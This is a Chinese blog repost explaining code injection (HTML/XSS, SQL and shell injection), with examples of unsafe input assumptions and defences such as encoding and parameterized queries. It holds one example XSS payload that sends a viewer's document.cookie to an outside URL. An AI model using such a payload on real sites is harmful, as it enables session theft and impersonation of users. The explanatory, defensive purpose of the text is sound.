当前位置: 首页 > 编程日记 > 正文

Sql注入和Html注入

举例说,有一间公司的网页服务器上有一个留言板的代码,用来让用户发表简短的口信,例如:

hello word!!!!

不过,这个代码原来有漏洞。一个意图入侵者得悉这间公司采用了有问题的代码,于是试图通过留下一条附带有代码的口信,例如:

Nice Site,  I think I'll take it.><script>document.location='http://www.cnblogs.com/' +document.cookie</script>
如果另一个用户查看了该页,被注入的代码即运行。该代码可让攻击者扮装成另一个用户。然而这个相同的软件bug可被用户意外的触发,亦即造成该网站暴露 HTML 
That post was awesome, :>)

在这个案例里表情符号可造成 HTML 代码不对称,因为不对称的HTML标签被注入到代码里。
大部分这类的问题与哪些可能输入数据,或者特殊数据效果的错误假设相关。一些软件开发员可能犯下危险假设的经范型例如下:
假设某程序接口使用的元字符永远不会在输入中出现;例如假设英文半角标点符号如引号或者半括号永不出现。 假设只有阿拉伯数字字符会当成输入键入。 假设输入永远不会超过固定字段大小。 假设阿拉伯数字只会相等或少于上限。 假设阿拉伯数字只会相等或大于下限。 假设用户端原本服务端提供的默认值 (例如窗体的隐藏字段或者cookie) 无法于用户端被用户修改。这种假设忽略了众所皆知的攻击如cookie下毒:在此cookie值被恶意用户强制设置。 假设从输入端取得指针或者数组索引不会出问题。 假设输入端永远不会提供关于它自己或者其他相关值得虚假信息,例如文件大小

恶意用途的代码注入可包括:
通过SQL注入(见下文)随意修改数据库中的值。影响所及可从某网站外观损毁,到对敏感数据严重的破坏。 当用户拜访恶意网站时,通过网页浏览器或其插件的漏洞安全隐患,进行代码注射,以便安装流氓软件到用户机器上。 通过PHP或者ASP注入安装流氓软件或者运行恶意代码于服务器端。 于UNIX系统利用Shell注入安全隐患对setuid root二进制数据作修改,达成提权到root使用权限的目的。 于视窗系统利用Shell注入安全隐患对系统服务做手脚,达成提权到本地端系统使用权限的目的。 从网页浏览器利用HTML/脚本注入(跨网站脚本)进行连接窃取 / cookies窃取进而冒充他人,取得他人个人敏感数据。

善意使用 某些人可能会出于善意而使用代码注射。例如,通过代码注射以改变或者调试某程序或者系统的行为可以"摆弄"系统以某种方式表现其行为而不怀任何恶意。打比方说:
代码注射可以添入某原本搜索结果页面设计上没有的字段,方便用户。 通过对原本设计默认函数没有曝光的字段赋值,代码注射可提供一个全新的方式来过滤、排序、或者归类数据。 这些人诉诸此种替代手段大致是下面几种原因之一:
对软件中希望改进函数进行润饰的其他方法证明不可能,或者 其他对软件修改的方式代价过高,或者 其他对软件修改的方式过度艰苦。 一般开发社区对以此为目的的代码注射不表欢迎。他们称这种行为为三脚猫、半调子、或者骇 / 黑程序。(kludge or hack)
某些开发者允许或者甚至表扬代码注射的使用来“加强”他们的软件;通常是因为该方案提供了较不昂贵的方式来实现新的或者特殊化的功能。不幸的是,其副作用与无法列管的蕴含式可能相当危险。
一般来说,即使相当善意的代码注射使用都不被建议使用。
非蓄意的用途 某些用户可能会不经意的进行代码注射,因为他们对程序提供的输入没列在当初开发系统者的考虑中。例如:
用户可能视某个包含表示字符或者字符字符串为合法输入,而不知该字符被开发者所保留而有特殊意义 (像 "张三 & 李四" 里的 "&" 字符,或者英文约翰的 M&M 巧克力: "John's M&M's"里头的单引号)。 用户可能会提交格式错乱的文件做为输入。这种行为对单一程序没什么问题,但可能对整个接收系统是灾难。

避免代码注射 要避免代码注射的种种问题,得充分发挥输入输出处理保全,例如:
输入确认。 更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。 输入编码。 输出编码。 采用其他没有饱受代码注入漏洞困扰的编程实现,例如“参数化SQL查询” ("parameterized SQL queries" 又名 "prepared statements" 亦有时称 "bind variables") 。

转载于:https://www.cnblogs.com/cooper/archive/2010/03/23/1692792.html

相关文章:

C# Window编程随记——ClickOnce程序部署

关于ClickOnce我们要说的主要有一下两点&#xff1a;什么是ClickOnce?ClickOnce的使用一、什么是ClickOnce&#xff08;来自百度&#xff09;ClickOnce 是一种部署技术&#xff0c;使用该技术可创建自行更新的基于 Windows 的应用程序&#xff0c;这些应用程序能够通过最低程度…

【怎样写代码】工厂三兄弟之抽象工厂模式(三):产品等级结构与产品族

如果喜欢这里的内容&#xff0c;你能够给我最大的帮助就是转发&#xff0c;告诉你的朋友&#xff0c;鼓励他们一起来学习。 If you like the content here, you can give me the greatest help is forwarding, tell your friends, encourage them to learn together.

全国计算机等级考试二级vb上机模拟软件,(全国计算机等级考试二级Vb上机模拟9-13.doc...

全国计算机等级考试二级Vb上机模拟(9)在考生文件夹下&#xff0c;完成如下操作&#xff1a;(1)建立数据库ordersmanage.dbc&#xff0c;把自由表employee.dbf和orders.dbf添加到数据库中。(2)打开表单dh.scx&#xff0c;设置标签控件中英文字母的字号为18&#xff0c;保存表单。…

如何删除被锁定的文件(一)他山工具篇 WhoLockMe?

在删除Windows文件时&#xff0c;大家经常会遇到如图1这样的对话框&#xff0c;而且Windows也并未提示到底是哪个进程占用了该文件&#xff0c;所以每每到这个时候大家都会感到束手无策。最近&#xff0c;笔者找到了一个解决这个问题的非常好的一个小工具WhoLockMe。这个小工具…

【怎样写代码】工厂三兄弟之抽象工厂模式(四):抽象工厂模式

如果喜欢这里的内容&#xff0c;你能够给我最大的帮助就是转发&#xff0c;告诉你的朋友&#xff0c;鼓励他们一起来学习。 If you like the content here, you can give me the greatest help is forwarding, tell your friends, encourage them to learn together.

git 标签管理

发布一个版本时&#xff0c;我们通常先在版本库中打一个标签&#xff08;tag&#xff09;&#xff0c;这样&#xff0c;就唯一确定了打标签时刻的版本。将来无论什么时候&#xff0c;取某个标签的版本&#xff0c;就是把那个打标签的时刻的历史版本取出来。所以&#xff0c;标签…

中国研制量子计算机成功,中国宣布研发量子计算机,这次很可能真的要领先世界!速度太快!...

昨天一则消息让国人集体兴奋&#xff01;那就是中国科学院官方表示&#xff0c;中国正在研制量子计算机&#xff0c;并预计在未来几年将获得成功&#xff01;其实中国在量子加密通信技术上已经领先世界&#xff0c;去年发射的墨子号量子卫星就是世界首例量子通信实验卫星&#…

Android Handler 异步消息处理机制的妙用 创建强大的图片载入类

转载请标明出处&#xff1a;http://blog.csdn.net/lmj623565791/article/details/38476887 &#xff0c;本文出自【张鸿洋的博客】近期创建了一个群。方便大家交流&#xff0c;群号&#xff1a;55032675上一篇博客介绍了Android异步消息处理机制。假设你还不了解&#xff0c;能…

笔记本vista改xp后机器蓝屏的解决办法

1.格式化时先要使用Vista系统盘格式化&#xff0c;然后再进行分区。2.由于WindowsXP的安装程序没有带SATAAHCI驱动&#xff0c;因此安装XP前需要设置BIOS的SATA模式&#xff0c;否则安装程序将找不到硬盘。设置方法&#xff1a;计算机启动时F2进入BIOS设置&#xff0c;Advanced…

【怎样写代码】工厂三兄弟之抽象工厂模式(五):扩展案例I

如果喜欢这里的内容&#xff0c;你能够给我最大的帮助就是转发&#xff0c;告诉你的朋友&#xff0c;鼓励他们一起来学习。 If you like the content here, you can give me the greatest help is forwarding, tell your friends, encourage them to learn together.

计算机系统的分类补充完整,数据库系统原(理B)13春A卷.doc

数据库系统原(理B)13春A卷华东交通大学2012—2013学年第二学期考试卷试卷编号&#xff1a;    (A)卷数据库系统原理(B) 课程 课程类别&#xff1a;必、限、任闭卷 考试日期&#xff1a; 2013.07.02 (10:15~12:15)题号一二三四五六七八九十总分累分人签名题分1010203510151…

Mysql—(1)—

sql语句 sql是Structured Query Language(结构化查询语言)的缩写。SQL是专为数据库而建立的操作命令集&#xff0c;是一种功能齐全的数据库语言。 在使用它时&#xff0c;只需要发出“做什么”的命令&#xff0c;“怎么做”是不用使用者考虑的。SQL功能强大、简单易学、使用方便…

vs2005 打sp1补丁失败的解决办法

上次安装sp1补丁失败,由于没有时间也没去研究,最近是非要用sp1的不可了,所以再次打补丁,还是失败,提示我-未通过数字签名检查,开始以为是数据编录服务没启动 Cryptographic Services,看了下发现已经启动了,网上搜索到一个结果,这里小计下: 在windows 2003或windows XP下安装Vis…

【怎样写代码】工厂三兄弟之抽象工厂模式(六):扩展案例II

如果喜欢这里的内容&#xff0c;你能够给我最大的帮助就是转发&#xff0c;告诉你的朋友&#xff0c;鼓励他们一起来学习。 If you like the content here, you can give me the greatest help is forwarding, tell your friends, encourage them to learn together.

计算机应用基础第三章操作步骤,最新江西三校生计算机应用基础模拟操作题集锦(超实用!)...

第二章 Windows XP 操作系统? 【2011高考】 将计算机系统时间修改为2011年9月1日10&#xff1a;30。请写出操作步骤。 答&#xff1a;双击系统托盘中时间图标(或双击“控制面板”窗口中的“日期和时间”图标)&#xff0c;打开“日期和时间属性”对话框&#xff1b;在“日期”分…

同花顺的数据格式总览(转帖)

原文&#xff1a;http://enterprisebeing.spaces.live.com/Blog/cns!1D3811D0695B6887!172.entry 同花顺采用了简易的数据库组织方式。在同花顺的发布文件包中包括了SQLite 3的驱动&#xff0c;但不是很清楚同花顺是如何使用这个驱动的。基本上&#xff0c;对同花顺数据结构的解…

【怎样写代码】对象克隆 -- 原型模式(一):问题案例

如果喜欢这里的内容&#xff0c;你能够给我最大的帮助就是转发&#xff0c;告诉你的朋友&#xff0c;鼓励他们一起来学习。 If you like the content here, you can give me the greatest help is forwarding, tell your friends, encourage them to learn together.

狗是放弃了自由的狼

2019独角兽企业重金招聘Python工程师标准>>> 远古时期&#xff0c;狼群与人类争夺食物。它们有灵敏的嗅觉和听觉&#xff0c;往往先于人类找到食物。它们是人类强劲的竞争对手。 然而却有一部分狼&#xff0c;为了偷懒&#xff0c;不去捕猎而选择了依附人类。它们为…

计算机组原理ppt,计算机组原理第三章.ppt

计算机组原理第三章计算机组成原理 毛典辉 北京工商大学计算机与信息工程学院 Email: amaode 进一步结论&#xff1a; 当最高有效位产生进位而符号位无进位时,产生上溢&#xff1b; 当最高有效位无进位而符号位有进位时,产生下溢。 缺点 将多个数一次相加&#xff0c;机器难以实…

DotNet关键知识点——WCF篇(六)

关于WCF消息通信的安全性论题。 1. 传输层面的安全性 一般方法&#xff1a; binding单元中加security单元&#xff0c;security一般含mode属性&#xff0c;一般将其设置为"Transport"&#xff0c;随后在security单元中加入transport单元&#xff0c;并对其参数作设置…

AAC_LC用LATM封装header信息解析 Audio Specific Config格式分析

通常来说AAC的头信息在编解码过程中是可以获取到的&#xff0c;但今天需要根据音频参数生成相应的AAC头。项目中使用的是AAC_LC&#xff0c;今天先对它的结构进行分析。 项目中使用ffmpeg进行音频编码&#xff0c;音频编码库为FAAC&#xff0c;好吧&#xff0c;直接看代码吧。 …

【怎样写代码】对象克隆 -- 原型模式(二):解决方案

如果喜欢这里的内容&#xff0c;你能够给我最大的帮助就是转发&#xff0c;告诉你的朋友&#xff0c;鼓励他们一起来学习。 If you like the content here, you can give me the greatest help is forwarding, tell your friends, encourage them to learn together.

计算机二级周小丹,亲爱的设计丨周小丹:始终认真,才能保持“天真”

从事室内设计&#xff0c;女性好像天然占了一些优势&#xff0c;比如对色彩和美学的敏感性、更强的沟通能力以及相较大多数男性而言更细致的观察力等等。但在实操层面&#xff0c;室内设计这一行实则非常考验女性设计师的“体能”&#xff0c;比如下工地、熬夜赶图等等。从北京…

最近在招标中评审出一个政府信息化软件

发布时间&#xff1a; &#xff1a;2010-03-31 18:42 浏览次数&#xff1a; &#xff1a; 5 产品名称&#xff1a; 卓技协同政府审批系统 V3.0(http://http://www.exctek.com/)英文名&#xff1a; ExctekSoft.CGA(Collaborative Government Approval) 适用客户&#xff…

克里斯坦森的破坏性创新—《可以量化的管理学》

6.4.4作用点与克里斯坦森的破坏性创新 内容提要&#xff1a;消费者对商品的需求焦点会随着商品的发展而从功能性到可靠性&#xff0c;到便利性&#xff0c;最后转移到价格。克莱顿•克里斯坦森(Clayton M. Christensen)所创造的破坏性创新就是指消费者需求焦点的转移&#xff0…

【怎样写代码】对象克隆 -- 原型模式(三):原型模式

如果喜欢这里的内容&#xff0c;你能够给我最大的帮助就是转发&#xff0c;告诉你的朋友&#xff0c;鼓励他们一起来学习。 If you like the content here, you can give me the greatest help is forwarding, tell your friends, encourage them to learn together.

楼主考南师计算机学硕,南京师范大学考研详解:据说这所学校不太好考?嗯,是真的!...

学校&#xff1a;南京师范大学地区&#xff1a;江苏省属性&#xff1a;“211工程”院校、“双一流”世界一流学科建设高校关于南师大南京师范大学&#xff0c;地处江苏南京&#xff0c;拥有绝佳的地理位置。在全国第四轮学科评估中&#xff0c;2个学科获得A&#xff0c;4个学科…

asp页面和Asp.net页面传中文参数UrlEncode编码以及接收解码

在asp中加一个链接&#xff0c;指向asp.net网页&#xff0c;但asp.net的网址是经过HttpUtility.UrlEncode转换和HttpUtility.UrlDecode解码的&#xff0c;而asp的server.urlencode却和HttpUtility.UrlEncode的编码方式不一样&#xff0c; 举例&#xff1a;asp.net用Get方式传输…

MyBatis关联查询、多条件查询

MyBatis关联查询、多条件查询 1、一对一查询 任务需求; 根据班级的信息查询出教师的相关信息 1、数据库表的设计 班级表&#xff1a; 教师表&#xff1a; 2、实体类的设计 班级表&#xff1a; public class Classes { 9 //定义实体类的属性&#xff0c;与class表中的字段对…

【怎样写代码】对象克隆 -- 原型模式(四):浅克隆与深克隆

如果喜欢这里的内容&#xff0c;你能够给我最大的帮助就是转发&#xff0c;告诉你的朋友&#xff0c;鼓励他们一起来学习。 If you like the content here, you can give me the greatest help is forwarding, tell your friends, encourage them to learn together.